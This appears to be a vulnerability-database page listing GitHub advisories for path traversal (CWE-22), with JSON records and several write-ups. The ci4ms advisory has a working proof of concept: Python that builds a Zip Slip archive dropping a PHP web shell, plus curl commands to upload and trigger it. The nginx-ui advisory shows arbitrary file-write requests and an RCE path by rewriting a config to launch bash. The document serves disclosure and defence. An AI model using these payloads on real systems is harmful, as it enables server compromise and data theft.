CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13793 vulnerabilities reference this CWE, most recent first.
GHSA-XRXC-CV69-F3FP
Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2024-04-04 08:54Arbitrary file upload to web root in the IDAttend’s IDWeb application 3.1.013 allows authenticated attackers to upload dangerous files to web root such as ASP or ASPX, gaining command execution on the affected server.
{
"affected": [],
"aliases": [
"CVE-2023-26578"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-25T18:17:25Z",
"severity": "HIGH"
},
"details": "Arbitrary file upload to web root in the IDAttend\u2019s IDWeb application 3.1.013 allows authenticated attackers to upload dangerous files to web root such as ASP or ASPX, gaining command execution on the affected server. ",
"id": "GHSA-xrxc-cv69-f3fp",
"modified": "2024-04-04T08:54:14Z",
"published": "2023-10-25T18:32:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26578"
},
{
"type": "WEB",
"url": "https://www.themissinglink.com.au/security-advisories/cve-2023-26578"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XRXM-MVQM-R553
Vulnerability from github – Published: 2022-05-14 01:33 – Updated: 2023-09-28 20:38All versions of Helm between Helm >=2.0.0 and < 2.12.2 contains a CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in The commands helm fetch --untar and helm lint some.tgz that can result when chart archive files are unpacked a file may be unpacked outside of the target directory. This attack appears to be exploitable via a victim must run a helm command on a specially crafted chart archive. This vulnerability appears to have been fixed in 2.12.2.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "helm.sh/helm"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-1000008"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-19T21:14:08Z",
"nvd_published_at": "2019-02-04T21:29:00Z",
"severity": "MODERATE"
},
"details": "All versions of Helm between Helm \u003e=2.0.0 and \u003c 2.12.2 contains a CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in The commands `helm fetch --untar` and `helm lint some.tgz` that can result when chart archive files are unpacked a file may be unpacked outside of the target directory. This attack appears to be exploitable via a victim must run a helm command on a specially crafted chart archive. This vulnerability appears to have been fixed in 2.12.2.",
"id": "GHSA-xrxm-mvqm-r553",
"modified": "2023-09-28T20:38:53Z",
"published": "2022-05-14T01:33:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1000008"
},
{
"type": "PACKAGE",
"url": "https://github.com/helm/helm"
},
{
"type": "WEB",
"url": "https://helm.sh/blog/helm-security-notice-2019/index.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Helm Path Traversal"
}
GHSA-XV3R-VR59-95RG
Vulnerability from github – Published: 2026-04-22 17:29 – Updated: 2026-05-08 19:55Summary
ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.
Details
modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:
public function upload()
{
$valData = ([
'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
]);
if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
$file = $this->request->getFile('theme');
$tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
$zip = new \ZipArchive();
if ($zip->open($file->getTempName()) === true) {
$zip->extractTo($tempPath); // no entry-name validation
$zip->close();
} ...
$log = install_theme_from_tmp($themeName);
...
}
A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.
Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.
A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.
PoC
Build the archive:
python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
z.writestr('info.xml', '<theme name=\"x\"/>')
"
Upload through the Theme manager with an authenticated session that has theme create:
curl -i -b 'ci4ms_session=<SESSION_ID>' \
-F 'theme=@evil_theme.zip' \
https://target.example.com/backend/themes/themesUpload
Trigger the shell:
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "ci4-cms-erp/ci4ms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41203"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T17:29:58Z",
"nvd_published_at": "2026-05-07T04:16:27Z",
"severity": "CRITICAL"
},
"details": "### Summary\nci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.\n\n### Details\nmodules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:\n\n```php\npublic function upload()\n{\n $valData = ([\n \u0027theme\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Theme.backendTheme\u0027), \u0027rules\u0027 =\u003e \u0027uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]\u0027],\n ]);\n if ($this-\u003evalidate($valData) == false) return redirect()-\u003eroute(\u0027backendThemes\u0027)-\u003ewithInput()-\u003ewith(\u0027errors\u0027, $this-\u003evalidator-\u003egetErrors());\n $file = $this-\u003erequest-\u003egetFile(\u0027theme\u0027);\n $tempPath = WRITEPATH . \u0027tmp/\u0027 . str_replace(\u0027_theme.zip\u0027, \u0027\u0027, $file-\u003egetName()) . \u0027/\u0027;\n $zip = new \\ZipArchive();\n if ($zip-\u003eopen($file-\u003egetTempName()) === true) {\n $zip-\u003eextractTo($tempPath); // no entry-name validation\n $zip-\u003eclose();\n } ...\n $log = install_theme_from_tmp($themeName);\n ...\n}\n```\n\nA ZIP containing entries like `../../public/shell.php` is extracted outside `writable/tmp/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.\n\nRouting: modules/Theme/Config/Routes.php binds `POST backend/themes/themesUpload` to Theme::upload with `role=create`. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has `create` on the Theme module, and any admin with that role can trigger it directly.\n\nA companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.\n\n### PoC\nBuild the archive:\n\n```python\npython3 -c \"\nimport zipfile\nwith zipfile.ZipFile(\u0027evil_theme.zip\u0027,\u0027w\u0027) as z:\n z.writestr(\u0027../../public/shell.php\u0027, \u0027\u003c?php system(\\$_GET[\\\"c\\\"]); ?\u003e\u0027)\n z.writestr(\u0027info.xml\u0027, \u0027\u003ctheme name=\\\"x\\\"/\u003e\u0027)\n\"\n```\n\nUpload through the Theme manager with an authenticated session that has theme create:\n\n```bash\ncurl -i -b \u0027ci4ms_session=\u003cSESSION_ID\u003e\u0027 \\\n -F \u0027theme=@evil_theme.zip\u0027 \\\n https://target.example.com/backend/themes/themesUpload\n```\n\nTrigger the shell:\n\n```bash\ncurl \u0027https://target.example.com/shell.php?c=id\u0027\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Impact\nAny ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.",
"id": "GHSA-xv3r-vr59-95rg",
"modified": "2026-05-08T19:55:25Z",
"published": "2026-04-22T17:29:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xv3r-vr59-95rg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41203"
},
{
"type": "PACKAGE",
"url": "https://github.com/ci4-cms-erp/ci4ms"
},
{
"type": "WEB",
"url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE"
}
GHSA-XV7V-RF6G-XWRC
Vulnerability from github – Published: 2021-09-30 17:10 – Updated: 2021-09-30 16:49The PharStreamWrapper (aka phar-stream-wrapper) package 2.x before 2.1.1 and 3.x before 3.1.1 for TYPO3 does not prevent directory traversal, which allows attackers to bypass a deserialization protection mechanism, as demonstrated by a phar:///path/bad.phar/../good.phar URL.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/phar-stream-wrapper"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/phar-stream-wrapper"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.67.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.6.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "8.7.0"
},
{
"fixed": "8.7.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.67.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.6.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "8.7.0"
},
{
"fixed": "8.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-11831"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-30T16:49:05Z",
"nvd_published_at": "2019-05-09T04:29:00Z",
"severity": "CRITICAL"
},
"details": "The PharStreamWrapper (aka phar-stream-wrapper) package 2.x before 2.1.1 and 3.x before 3.1.1 for TYPO3 does not prevent directory traversal, which allows attackers to bypass a deserialization protection mechanism, as demonstrated by a phar:///path/bad.phar/../good.phar URL.",
"id": "GHSA-xv7v-rf6g-xwrc",
"modified": "2021-09-30T16:49:05Z",
"published": "2021-09-30T17:10:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11831"
},
{
"type": "WEB",
"url": "https://www.synology.com/security/advisory/Synology_SA_19_22"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-core-2019-007"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4445"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-psa-2019-007"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/May/36"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/Z246UWBXBEKTQUDTLRJTC7XYBIO4IBE4"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U6JX7WR6DPMKCZQP7EYFACYXSGJ3K523"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/E3NUKPG7V4QEM6QXRMHYR4ABFMW5MM2P"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AUEXS4HRI4XZ2DTZMWAVQBYBTFSJ34AR"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6QDJVUJPUW3RZ4746SC6BX4F4T6ZXNBH"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/65ODQHDHWR74L6TCAPAQR5FQHG6MCXAW"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/Z246UWBXBEKTQUDTLRJTC7XYBIO4IBE4"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/U6JX7WR6DPMKCZQP7EYFACYXSGJ3K523"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/E3NUKPG7V4QEM6QXRMHYR4ABFMW5MM2P"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/AUEXS4HRI4XZ2DTZMWAVQBYBTFSJ34AR"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6QDJVUJPUW3RZ4746SC6BX4F4T6ZXNBH"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/65ODQHDHWR74L6TCAPAQR5FQHG6MCXAW"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/05/msg00029.html"
},
{
"type": "WEB",
"url": "https://github.com/TYPO3/phar-stream-wrapper/releases/tag/v3.1.1"
},
{
"type": "WEB",
"url": "https://github.com/TYPO3/phar-stream-wrapper/releases/tag/v2.1.1"
},
{
"type": "PACKAGE",
"url": "https://github.com/TYPO3/phar-stream-wrapper"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/phar-stream-wrapper/CVE-2019-11831.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/drupal/drupal/CVE-2019-11831.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/drupal/core/CVE-2019-11831.yaml"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/108302"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Directory Traversal in typo3/phar-stream-wrapper"
}
GHSA-XV87-5FP5-4JRJ
Vulnerability from github – Published: 2022-05-02 03:32 – Updated: 2022-05-02 03:32Directory traversal vulnerability in page.php in Elvin 1.2.0 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the id parameter.
{
"affected": [],
"aliases": [
"CVE-2009-2124"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-06-19T18:00:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in page.php in Elvin 1.2.0 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the id parameter.",
"id": "GHSA-xv87-5fp5-4jrj",
"modified": "2022-05-02T03:32:06Z",
"published": "2022-05-02T03:32:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2124"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/8953"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35486"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XV8G-4JV9-WPQ8
Vulnerability from github – Published: 2022-05-02 03:36 – Updated: 2022-05-02 03:36Directory traversal vulnerability in infusions/last_seen_users_panel/last_seen_users_panel.php in MyFusion (aka MyF) 6 Beta, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the settings[locale] parameter.
{
"affected": [],
"aliases": [
"CVE-2009-2611"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-07-27T18:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in infusions/last_seen_users_panel/last_seen_users_panel.php in MyFusion (aka MyF) 6 Beta, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the settings[locale] parameter.",
"id": "GHSA-xv8g-4jv9-wpq8",
"modified": "2022-05-02T03:36:57Z",
"published": "2022-05-02T03:36:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2611"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/9018"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XV8G-76MX-2RXC
Vulnerability from github – Published: 2026-07-13 21:31 – Updated: 2026-08-13 18:28Laravel-Mediable before 7.0.0 contains a path traversal vulnerability in the File::sanitizePath() function that allows attackers to write uploaded files to arbitrary locations by controlling the directory argument passed to MediaUploader::toDestination(). Attackers can exploit the permissive character-class regex that allows both dot and slash characters combined with an ineffective trailing trim() call to bypass sanitization and upload files to sensitive locations such as the document root, environment configuration files, or application configuration directories, enabling remote code execution.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "plank/laravel-mediable"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49970"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-13T18:28:50Z",
"nvd_published_at": "2026-07-13T19:17:09Z",
"severity": "HIGH"
},
"details": "Laravel-Mediable before 7.0.0 contains a path traversal vulnerability in the File::sanitizePath() function that allows attackers to write uploaded files to arbitrary locations by controlling the directory argument passed to MediaUploader::toDestination(). Attackers can exploit the permissive character-class regex that allows both dot and slash characters combined with an ineffective trailing trim() call to bypass sanitization and upload files to sensitive locations such as the document root, environment configuration files, or application configuration directories, enabling remote code execution.",
"id": "GHSA-xv8g-76mx-2rxc",
"modified": "2026-08-13T18:28:50Z",
"published": "2026-07-13T21:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49970"
},
{
"type": "WEB",
"url": "https://github.com/plank/laravel-mediable/pull/391"
},
{
"type": "WEB",
"url": "https://github.com/plank/laravel-mediable/commit/6d1e7fb39922fdfb3b2d120e13f4eb2e653ae082"
},
{
"type": "PACKAGE",
"url": "https://github.com/plank/laravel-mediable"
},
{
"type": "WEB",
"url": "https://github.com/plank/laravel-mediable/releases/tag/7.0.0"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/laravel-mediable-path-traversal-via-file-sanitizepath"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Laravel-Mediable: path traversal vulnerability in the File::sanitizePath()"
}
GHSA-XVCP-F5RW-F54W
Vulnerability from github – Published: 2023-10-04 21:30 – Updated: 2024-04-04 08:18A?CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')?vulnerability exists?that could cause?a path traversal issue?when?using the File Command.
{
"affected": [],
"aliases": [
"CVE-2023-5399"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-04T19:15:10Z",
"severity": "CRITICAL"
},
"details": "\n\n\nA?CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)?vulnerability exists?that could cause?a path traversal issue?when?using the File Command.\u00a0\n\n",
"id": "GHSA-xvcp-f5rw-f54w",
"modified": "2024-04-04T08:18:40Z",
"published": "2023-10-04T21:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5399"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2023-283-01\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2023-283-01.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XVG8-M4X3-W6XR
Vulnerability from github – Published: 2024-11-12 19:54 – Updated: 2025-11-04 16:53Summary
matrix-js-sdk before 34.11.0 is vulnerable to client-side path traversal via crafted MXC URIs. A malicious room member can trigger clients based on the matrix-js-sdk to issue arbitrary authenticated GET requests to the client's homeserver.
Details
The Matrix specification demands homeservers to perform validation of the server-name and media-id components of MXC URIs with the intent to prevent path traversal. However, it is not mentioned that a similar check must also be performed on the client to prevent client-side path traversal. matrix-js-sdk fails to perform this validation.
Patches
Fixed in matrix-js-sdk 34.11.1.
Workarounds
None.
References
- https://spec.matrix.org/v1.12/client-server-api/#security-considerations-5
- https://blog.doyensec.com/2024/07/02/cspt2csrf.html
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "matrix-js-sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "34.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-50336"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-12T19:54:38Z",
"nvd_published_at": "2024-11-12T17:15:09Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nmatrix-js-sdk before 34.11.0 is vulnerable to client-side path traversal via crafted MXC URIs. A malicious room member can trigger clients based on the matrix-js-sdk to issue arbitrary authenticated GET requests to the client\u0027s homeserver.\n\n### Details\n\nThe Matrix specification demands homeservers to [perform validation](https://spec.matrix.org/v1.12/client-server-api/#security-considerations-5) of the `server-name` and `media-id` components of MXC URIs with the intent to prevent path traversal. However, it is not mentioned that a similar check must also be performed on the client to prevent *client-side* path traversal. matrix-js-sdk fails to perform this validation.\n\n### Patches\n\nFixed in matrix-js-sdk 34.11.1.\n\n### Workarounds\n\nNone.\n\n### References\n\n- https://spec.matrix.org/v1.12/client-server-api/#security-considerations-5\n- https://blog.doyensec.com/2024/07/02/cspt2csrf.html",
"id": "GHSA-xvg8-m4x3-w6xr",
"modified": "2025-11-04T16:53:54Z",
"published": "2024-11-12T19:54:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/matrix-org/matrix-js-sdk/security/advisories/GHSA-xvg8-m4x3-w6xr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50336"
},
{
"type": "PACKAGE",
"url": "https://github.com/matrix-org/matrix-js-sdk"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00004.html"
},
{
"type": "WEB",
"url": "https://spec.matrix.org/v1.12/client-server-api/#security-considerations-5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "matrix-js-sdk has insufficient MXC URI validation which allows client-side path traversal"
}
GHSA-XVQ9-4VPV-227M
Vulnerability from github – Published: 2024-01-29 22:30 – Updated: 2026-07-06 19:16Summary
The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.
https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72
func AddCert(c *gin.Context) {
var json struct {
Name string `json:"name"`
SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"`
SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"`
SSLCertificate string `json:"ssl_certificate"`
SSLCertificateKey string `json:"ssl_certificate_key"`
ChallengeMethod string `json:"challenge_method"`
DnsCredentialID int `json:"dns_credential_id"`
}
if !api.BindAndValid(c, &json) {
return
}
certModel := &model.Cert{
Name: json.Name,
SSLCertificatePath: json.SSLCertificatePath,
SSLCertificateKeyPath: json.SSLCertificateKeyPath,
ChallengeMethod: json.ChallengeMethod,
DnsCredentialID: json.DnsCredentialID,
}
err := certModel.Insert()
if err != nil {
api.ErrHandler(c, err)
return
}
content := &cert.Content{
SSLCertificatePath: json.SSLCertificatePath,
SSLCertificateKeyPath: json.SSLCertificateKeyPath,
SSLCertificate: json.SSLCertificate,
SSLCertificateKey: json.SSLCertificateKey,
}
err = content.WriteFile()
if err != nil {
api.ErrHandler(c, err)
return
}
c.JSON(http.StatusOK, Transformer(certModel))
}
https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15
func (c *Content) WriteFile() (err error) {
// MkdirAll creates a directory named path, along with any necessary parents,
// and returns nil, or else returns an error.
// The permission bits perm (before umask) are used for all directories that MkdirAll creates.
// If path is already a directory, MkdirAll does nothing and returns nil.
err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)
if err != nil {
return
}
err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)
if err != nil {
return
}
if c.SSLCertificate != "" {
err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)
if err != nil {
return
}
}
if c.SSLCertificateKey != "" {
err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)
if err != nil {
return
}
}
return
}
PoC
POST /api/cert HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 144
Accept: application/json, text/plain, */*
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection: close
{"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"}
root@aze:~/nginx# ls -la /tmp/test*
-rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test
-rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2
It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.
root@aze:~/nginx# cat app.ini | grep "StartCmd"
StartCmd = login
Then we overwrite the StartCmd with bash
POST /api/cert HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 980
Accept: application/json, text/plain, */*
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection: close
